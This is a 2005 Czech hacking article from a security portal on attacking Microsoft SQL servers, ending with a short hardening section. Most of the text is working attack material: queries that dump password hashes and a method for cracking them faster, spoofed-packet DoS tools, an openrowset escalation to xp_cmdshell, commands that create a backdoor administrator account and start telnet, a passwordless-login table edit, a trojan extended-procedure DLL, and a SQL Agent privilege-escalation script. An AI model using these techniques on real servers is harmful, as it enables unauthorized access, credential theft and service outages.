Metody útoků na Microsoft SQL servery

Vložil/a cm3l1k1 [1], 24 Srpen, 2005 - 17:18

- Cracking [2]
- Hacking [3]
- Hacking method [4]
- SQL [5]

V tomto článku si ukážeme postupy a nástroje používané při utocích na MSSQL servery. Popíšeme si používané programy i procedury a na závěr článku uvedu jednoduché postupy vedoucí k vyšší bezpečnosti serveru.

Budeme si informace a postupy vysvětlovat v bodech. Protože nejsem přítel dlouhého okomentovávání tak přejdeme rovnou k věci ;o]

Základní informace

MS SQL servery beží na portech: 1434 UDP, 1433 TCP
Hesla mohou být uložena v těchto souborech: *.dsn, global.asa, application.cfm, sqlsp.log, setup.iis
Defaultní přihlašovací jména:
sa - administrátorská práva, po instalaci je standardně heslo prázdné
probe - stejné jako sa (u MSSQL 6 a 6.5)
dbo - vlastník databáze

Útoky pomocí nástrojů lámání hesel

SQLScanner zjišťuje jestli beží SQL server a zkouší se přihlásit pod účtem "sa" a prázdným heslem. Tento program stejně jako i všechny zde popisované lze stáhnout na adrese http://www.sqlsecurity.com [6]

Syntax:`SQLScanner.exe [rozsah_ip] [adresa] [cesta_k_souboru_s_vysledky]`

SQLPing2 je podobný nástroj, který je navíc rozšířen o možnost slovníkového útoku (oba programy jsou součástí balíčku SQLTools).

ForceSQL je posledním zástupcem programů, který využívá brute force útoku na přístupové heslo.

Informace z SQL serveru při lokálním přístupu

Sqlko má svoji vlastní databázi (master), kde lze nalézt hodně informací o uživatelích a ostatních DB. K získání těchto informací se stačí přihlásit jako "public"
```
SELECT name FROM sysdatabases
SELECT name FROM syslogins
```
- pokud máme větší práva (vybere jména a hashe hesel uživatelů)
```
SELECT name, password FROM sysxlogins
```
- v každé databázi je tabulka "sysobjects" ve které jsou informace o objektech (tabulky, archivované procedury, funkce atd.)
```
USE jmeno_databaze SELECT name, id FROM sysobjects WHERE type = `P`
```
- systémová tabulka "tempdb". Občas sem uživatelé ukládají objekty, archivační procedury - často

jako zadní vrátka
```
SELECT text FROM tempdb.dbo.syscomments
```
- pro zašifrování hesel se používá funkce pwdencrypt()
```
SELECT pwdencrypt('zvolene_heslo')
```
- generování hashe hesla je závislé na čase, aby nebyli rozpoznatelní uživatelé se stejným heslem uveďme si příklad:
```
SELECT pwdencrypt('test_pass')
        waitfor delay '00:00:01'
        SELECT pwdencrypt('test_pass')
        waitfor delay '00:00:01'
        SELECT pwdencrypt('test_pass')</p>
```

Výstup:
```
0x0100BA08C5533A9F85136534E90(zkraceno)7D1BB12010443024B96BFF76229289
0x0100BD08C17D50D214EF6295C41(zkraceno)13FABAE85D502B9F2273A31C1622D
0x0100C008BE27ECDB3E50A61258E(zkraceno)F77C6D39F3A26F32D99E7F6BA9F46
```

Takže se podíváme na první postřehy. Hash hesla začíná 0x0100, je složen pouze z velkých písmen. To ještě neznamená nic v porovnání s faktem, že pokud takto zašifrujete heslo, které se skládá pouze z velkých písmen, tak na jeho konci budou dvě stejné 40 bitové sekvence. To znamená, že v hashy hesla je zahashován jeden normální tvar hesla a jeden tvar s velkými písmeny. Pro rychlejší pochopení př. heslo máte "secret" a v hashy je zašifrované jak "secret" tak i "SECRET". Takže při crackování hashe můžeme radikálně snížit dobu útoku, protože stačí najít to heslo, které je ve tvaru s velkými písmeny.

DoS útoky na SQL

1)**SQLOverflowDos.exe** - Posílá UDP paket se začínající hodnotou 0x04, který může celý systém položit. Pokud server přijme jako první paket s hodnotou 0x04, spojuje registr a zkouší vytvořit klíč HKLM/Software/Microsoft/Microsoft SQL Server/[nazev_serveru]/CurrentVersion. Pokud pošleme velice dlouhý klíč tak může dojít k přeplnění bufferu. Útok projde i přes firewall, protože můžeme změnit zdrojovou IP adresu paketu.
Syntax: SQLOverflowDos.exe [fakenuta_IP] [victim_sql]

2)**SQL2.exe** - Program s převážně stejnou funkcí jako SQLOverflowDos.

3)**SQLDosStorm2.exe** - Program posílá paket s hodnotu 0x0A a sql server na tento paket odpoví identickým paketem zaslaným na adresu odesílatele. Takže stačí podvrhnout zdrojovou IP adresu za adresu jineho MSSQL serveru a oba se vzájemně zahltí.
Syntax: SQLDosStorm2.exe [IP_sqlka] [soubor_s_adresami] [pocet_paketu]

4)**sqlpoke.exe** - umožnuje vykonat vzdálený příkaz na SQL serveru (procedura master..xp_cmdshell) viz. níže
Syntax: sqlpoke.exe [pocatecni_rozsah_IP_adres] [koncovy_rozsah] [cesta_k_souboru_s_prikazy]

Uchovávaná procedura xp_cmdshell

- xp_cmdshell umožnuje spustit vzdálený příkaz na systému s právy uživatele na kterém beží server. Standardně je to administrátorský účet "SYSTEM"!
- xp_cmdshell nemůže spustit normální uživatel. Pokud ale admin něco opomněl tak "může". Ukážeme si jak.
- pokud normální user vytvoří proceduru, má k ní full práva, takže stačí do procedury volat xp_cmdshell pomocí příkazu "openrowset".
(tuto proceduru by uživatel neměl být schopen execnout)

CREATE PROCEDURE #test_proc AS EXEC master..xp_cmdshell 'systeminfo > %SYSTEMDRIVE%\sys.txt'
(ale tuto již ano)

```
SELECT * FROM openrowset ('SQLOLEDB','trusted_connection=yes;
                                     data source=JMENO_SQL_SERVERU;','SET fmtonly OFF
                                     EXEC master..xp_cmdshell ''tasklist >
%SYSTEMDRIVE%\bezici_procesy.txt''')
```

- příkaz OpenRowSet umožňuje spuštění nenalinkované operace na vzdáleném serveru. SQL server se přihlásí ke vzdálenému serveru a provede operace požadované uživatelem. Když však donutíme server, aby se přihlásil sám na sebe, tak dokážeme vykonat příkazy s vyššími právy než má sám uživatel.

- pokud tento přístup získáte, lze již velice snadno získat přístup do systému:

```
xp_cmdshell 'net user crax0r password /add'
xp_cmdshell 'net localgroup administrators crax0r /add'
xp_cmdshell 'net start telnet'
```

Pole xstatus

- v tabulce sysxlogins je hodnota pole xstatus pro tyto zaznamy nastavena na 22. Pole xstatus definuje druh loginu, kterým je určena položka v tabulce sysxlogins. Změnou tohoto statusu na 18 se utočník může přihlásit libovolným loginem patřícím administrátorovi bez nutnosti zadávat heslo!

Sniffování serveru

Pokud získáme přístup na server a chtěli bychom zjistit i hesla ostatních uživatelů, tak stačí využít programu SQLServerSniffer (taktéž součást balíčku SQLTools).
Syntax: SQLServerSniffer.exe [porty_k_naslouchani] [cesta_k_souboru_s_vysledky]

- Jde o tento problém. Když se uživatel autentizuje na serveru (mixed mode) tak přes síť by měli jít přihlašovací údaje "šifrovaně". Ale když se lépe podíváme, uvidíme že se vlastně o šifrování vůbec nejedná. Heslo je pouze převedeno do formátu UNICODE a následně je tento string prohozen funkcí XOR. Druhým argumentem je hodnota 0xA5, což lze jednoduše určit, protože každý druhý Bajt hesla má tuto hodnotu. Z toho jednoduše vyplívá možnost pohodlného odposlouchávání hesel přímo na serveru.

Fakeování externích procedur

Jak jsme již mluvili o externí proceduře xp_cmdshell tak externích procedur (začínají na "xp_") je mnohem víc, přičemž k některým má přístup i obyčejný uživatel public. Dále je nutné vědět, že tyto procedury se načítají v době, když jsou zavolány uživatelem. Jedná se především o nalinkované DLL knihovny.
příklad: pokud jsme např. odstranili proceduru xp_cmdshell a chtěli bychom ji znovu načíst

```
EXEC sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'
```

Takže možná už tušíte o co mi jde. Samozřejmě využijeme proceduru, kterou může execnout i uživatel public. Takovým příkladem může být například "xp_showcolv". Pokud dokážeme zaměnit originální DLL knihovnu procedury xp_showcolv za naši, tak toho lze využít jako celkem nenápadného backdooru, či procedury k eskalaci práv. Níže uvádím jednoduchého trojského koně od Davida Litchfielda (NGSSoftware), který je opravdovým mistrem v odkrývání nedostatků MSSQL

serverů a jiných síťových aplikací.

```
// Very simple Extended Stored Procedure trojan
// Compile:
// C:\> cl /LD xprepl.c /link odbc32.lib
// David Litchfield
// <a href="mailto:david@ngssoftware.com">david@ngssoftware.com</a>

#include <stdio.h>
#include <srv.h>
__declspec(dllexport)ULONG __GetXpVersion()
{

 return 1;

}
__declspec(dllexport)SRVRETCODE xp_showcolv(SRV_PROC* pSrvProc)
{

system("mycommand");
 return (1);

}
```

Zneužití SQL Agenta

SQL Agent umožňuje to co v unixu cron a tím je plánovaní úloh za konkrétním účelem např. zálohy databáze, správa tabulek, vytváření statistik atd. Takže tímto je funkce Agenta vysvětlená. SQL Agent má ale větší práva než samotný uživatel databáze, z čehož opět vyplívá, že určitě existuje způsob jak toho využít v náš prospěch. Samozřejmě je tomu tak. Níže uvádím script od již jmenovaného Davida Litchfielda, který stačí pozměnit (SERVER_NAME) spustit v Query Analyzeru a kód vytvoří úkol pro Agenta.

```
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (<a href="mailto:david@ngssoftware.com">david@ngssoftware.com</a>)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"''''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
```

```
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
```

Útoky na webové aplikace

Konkrétně mám na mysli útoky typu SQL injection, kdy většina tvůrců webových stránek nikterak nekontroluje ošemetnost vstupních dat. Útoky tohoto typu jsou mnohem častější než lámání hesel apod. Na Internetu lze nalézt ohromnou spoustu nedostatků v kódu stránek, které umožňují tento typ útoku a to i mezi firmamy, kterým klienti platí statisíce za velice pochybný a děravý webový systém. Jak se říká na lidské hlouposti se dá skvěle vydělat (a kdo že je nejbohatší člověk na světě? ;o]). Ja však nejsem člověk, který by se k tomuto tématu mohl plně vyjádřit, a proto všem doporučuji přečíst si pogikův článek (SQL Injection) [7] věnující se tomuto tématu.

Zabezpečení serveru

Už se blížíme k finále článku, kde se budu snažit popsat jak minimalizovat rizika napadení serveru.
- Při přístupu k autentizaci uživatelů na SQL server používat místo "Mixed módu" mnohem bezpečnější "Windows NT authentication mode"!
- Na tvorbu a správu webových stránek/aplikací zaměstnat schopného programátora, kterému pojem bezpečnost není cizí!
- Pokud to není nutné tak vypnout/zakázat používání SQL Agenta.
- Omezit přístup na firewallu.
- Aplikovat dostupné patche.

Smazání nebezpečných externích procedur

Většina lokálních útoku se točí kolem externích procedur, takže určitě nebude od věci odstranit některé z těch, které jsou považované za nebezpečné a v praxi se bežně vůbec nepoužívají.
(k jejich smazání je nutné mít práva sysadmina, v komentářích jsou popsány funkce procedur)

```
USE master
EXEC sp_dropextendedproc 'xp_avaliablemedia' /* informace o discích */
go
EXEC sp_dropextendedproc 'xp_cmdshell' /* spušt?ní p?íkazu ?i zneužití jiných
procedur */
go
EXEC sp_dropextendedproc 'xp_dirtree' /* informace o struktu?e složek */
go
EXEC sp_dropextendedproc 'xp_enumdsn' /* umož?uje p?e?íst informace o zdrojích ODBC
*/
go
EXEC sp_dropextendedproc 'xp_enumerrorlogs' /* ?tení chybového logu */
go
EXEC sp_dropextendedproc 'xp_enumgroups' /* umož?uje p?e?íst informace o skupinách */
go
EXEC sp_dropextendedproc 'xp_getfiledetails' /* zobrazení detailu souboru */
go
EXEC sp_dropextendedproc 'xp_fixeddrives'
go
EXEC sp_dropextendedproc 'xp_loginconfig'
go
EXEC sp_dropextendedproc 'xp_makecab' /* umož?uje vytvo?ení archivu */
go
EXEC sp_dropextendedproc 'xp_ntsec_enumdomains' /* zobrazuje informace o doménách, se
kterými pracuje server */
go
```

```
EXEC sp_dropextendedproc 'xp_regaddmultistring' /* zapiše do registru multistring */
go
EXEC sp_dropextendedproc 'xp_regdeletekey' /* smaže klí? v registru */
go
EXEC sp_dropextendedproc 'xp_regdeletevalue' /* smaže hodnotu klí?e v registru */
go
EXEC sp_dropextendedproc 'xp_regread' /* ?tení registru */
go
EXEC sp_dropextendedproc 'xp_regremovemultistring' /* odstraní z registru multistring
*/
go
EXEC sp_dropextendedproc 'xp_regwrite' /* zápis do registru */
go
EXEC sp_dropextendedproc 'xp_regenumvalues' /* zobrazení hodnot registru */
go
EXEC sp_dropextendedproc 'xp_terminate_process' /* killnutí procesu, argumentem je
PID */
go
/* a pro úplné paranoiky, odebereme proceduru, která by dokázala znovu na?íst externí
procedury */
DROP PROCEDURE 'sp_addextendedproc'
go
```

Zdroj:
SQLSecurity.com, http://www.sqlsecurity.com [6]
SQL Server Magazine, http://www.sqlmag.com [8]
Xfocus Security Portal, http://www.xfocus.org [9]

URL článku:
https://www.security-portal.cz/clanky/metody-%C3%BAtok%C5%AF-na-microsoft-sql-servery

Odkazy:
[1] https://www.security-portal.cz/users/cm3l1k1
[2] https://www.security-portal.cz/category/tagy/cracking
[3] https://www.security-portal.cz/category/tagy/hacking
[4] https://www.security-portal.cz/category/tagy/hacking-method
[5] https://www.security-portal.cz/category/tagy/sql
[6] http://www.sqlsecurity.com
[7] http://www.security-portal.cz/clanky/sql-injection.html
[8] http://www.sqlmag.com
[9] http://www.xfocus.org